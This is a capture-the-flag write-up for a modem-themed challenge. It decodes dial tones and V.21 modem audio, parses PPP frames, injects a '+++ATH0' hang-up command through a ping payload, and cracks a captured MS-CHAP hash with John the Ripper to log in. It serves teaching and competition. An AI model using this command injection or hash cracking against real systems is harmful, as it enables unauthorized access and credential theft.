# 56K Flex Magic **Category:** Communication Systems **Points (final):** 205 **Solves:** 13 >Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a >flag… > >UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected >behavior. ## Write-up by [haskal](https://awoo.systems) An audio file is included that contains a session where a number is dialed, and then some modem data is exchanged (it's a very distinctive sound). Additionally, there is a note included with the following text. ``` ---=== MY SERVER ===--- Phone #: 275-555-0143 Username: hax Password: hunter2 * Modem implements a (very small) subset of 'Basic' commands as described in the ITU-T V.250 spec (Table I.2) ---=== THEIR SERVER ===--- Ground station IP: 93.184.216.34 Ground station Phone #: 458-XXX-XXXX ...? Username: ? Password: ? * They use the same model of modem as mine... could use +++ATH0 ping of death * It'll have an interactive login similar to my server * Their official password policy: minimum requirements of FIPS112 (probably just numeric) * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137' ``` ITU-T V.250 is essentially a formalization of the [Hayes command set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to interact with our local modem, such as ``` ATDTXXXXXXXXXX - dial number XXX... ATH0 - hang up +++ - get the local modem's attention while in a remote session ``` The first step is to try to get information about the ground station server. We can decode the dial tones from the audio file, which are [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we obtain a phone number for the ground station of `458-555-0142`. However dialing this number results in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need to disconnect it. The "ping of death" refers to injecting a modem command into a packet sent to a remote server in order to cause the server's modem to interpret a hang up command contained in the packet. This can be achieved by pinging with the data `+++ATH0`, because as the server replies to the ping with the same data, its local modem will interpret the command inside the ping. But we need to escape it with hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the text file to get an initial shell session ``` ATDT2755550143 ``` Next, issue a ping of death to the provided server IP ```bash ping -v 0x2b2b2b415448290d 93.184.216.34 ``` Now the ground station should be disconnected so it is available for us to dial. ``` +++ATH0 ATDT45845550142 ``` We get a login prompt for SATNET ``` * * . * * * . * * . * * . . * * . * . . * . * * +------------------------------+ . | SATNET | * +------------------------------+ . . | UNAUTHORIZED ACCESS IS | | STRICTLY PROHIBITED | . +------------------------------+ . . . . Setting up - this will take a while... LOGIN Username: ``` However we still need the username and password. Maybe the provided audio file has the credentials somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses dual-channel Frequency Shift Keying at 300 bits/second. We can use [minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1 and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate. ```bash minimodem -8 -S 980 -M 1180 -f recording.wav 300 minimodem -8 -S 1650 -M 1850 -f recording.wav 300 ``` This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from the notes file that the password is a 4-digit number, but trying the username `rocketman` and password `2674` didn't work. We need to look closer. This is the beginning of one side of the exchange in hex: ```hexdump 00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}" 00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(. 00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.} 00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&} 00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!} ``` It starts with `7eff`, which is characteristic of [Point-to-Point Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with [scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically. There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax de-framer because sometimes frames seemed to not be started or terminated properly. ```python def decode(ch): buf2 = b"" esc = False for x in ch: if x == 0x7e: if buf2 != b"\xFF" and buf2 != b"": PPP(buf2).show() buf2 = b"" esc = False elif esc: esc = False buf2 += bytes([x^0x20]) elif x == 0x7d: esc = True else: buf2 += bytes([x]) if len(buf2) > 0: PPP(buf2).show() ``` (This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this snippet.) Now we can see what the packets mean. In particular, we spot these ones: ``` ###[ HDLC ]### address = 0xff control = 0x3 ###[ PPP Link Layer ]### proto = Link Control Protocol ###[ PPP Link Control Protocol ]### code = Configure-Ack id = 0x2 len = 28 \options \ ..... |###[ PPP LCP Option ]### | type = Authentication-protocol | len = 5 | auth_protocol= Challenge-response authentication protocol | algorithm = MS-CHAP ..... ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Response id = 0x0 len = 67 value_size= 49 value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760 2e9831310b56924f3428b05ad60c7a2b401 optional_name= 'rocketman2674' ``` and ``` ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Challenge id = 0x0 len = 26 value_size= 8 value = 12810ab88c7f1c74 optional_name= 'GRNDSTTNA8F6C' ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Success id = 0x0 len = 4 data = '' ``` We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash like ``` username:$NETNTLM$challenge$hash rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4 ``` Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will complete in literal seconds anyway. ``` Proceeding with incremental:ASCII 9435 (rocketman2674) 1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4 Use the "--show --format=netntlm" options to display all of the cracked passwords reliably Session completed ``` Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag` command to get the flag. ## Resources and other writeups * * * * * *